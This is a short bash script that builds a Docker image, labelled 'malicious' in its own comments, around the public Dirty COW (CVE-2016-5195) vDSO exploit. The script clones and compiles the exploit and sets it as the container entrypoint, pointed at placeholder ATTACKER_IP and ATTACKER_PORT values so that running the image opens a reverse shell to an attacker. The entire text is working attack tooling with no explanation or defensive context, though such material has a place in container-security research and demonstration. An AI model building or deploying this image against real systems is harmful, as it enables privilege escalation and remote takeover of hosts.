#!/bin/bash

# modify ATTACKER_IP and ATTACKER_PORT before building
ATTACKER_IP=REVERSE_SHELL_IP
ATTACKER_PORT=REVERSE_SHELL_PORT

TEMP_DIR=./temp-dirtycow

set -e -x

# build ExP
sudo apt update && sudo apt install -y build-essential nasm
mkdir -p $TEMP_DIR
git clone https://github.com/scumjr/dirtycow-vdso.git $TEMP_DIR
cd $TEMP_DIR
make
cd ..

# build malicious image
cat << EOF > ./Dockerfile
FROM ubuntu:18.04

ADD $TEMP_DIR/0xdeadbeef /entrypoint
RUN chmod u+x /entrypoint
ENTRYPOINT ["/entrypoint", "$ATTACKER_IP:$ATTACKER_PORT"]
EOF

sudo docker build -t cve-2016-5195:v1.0 .

rm ./Dockerfile
rm -rf $TEMP_DIR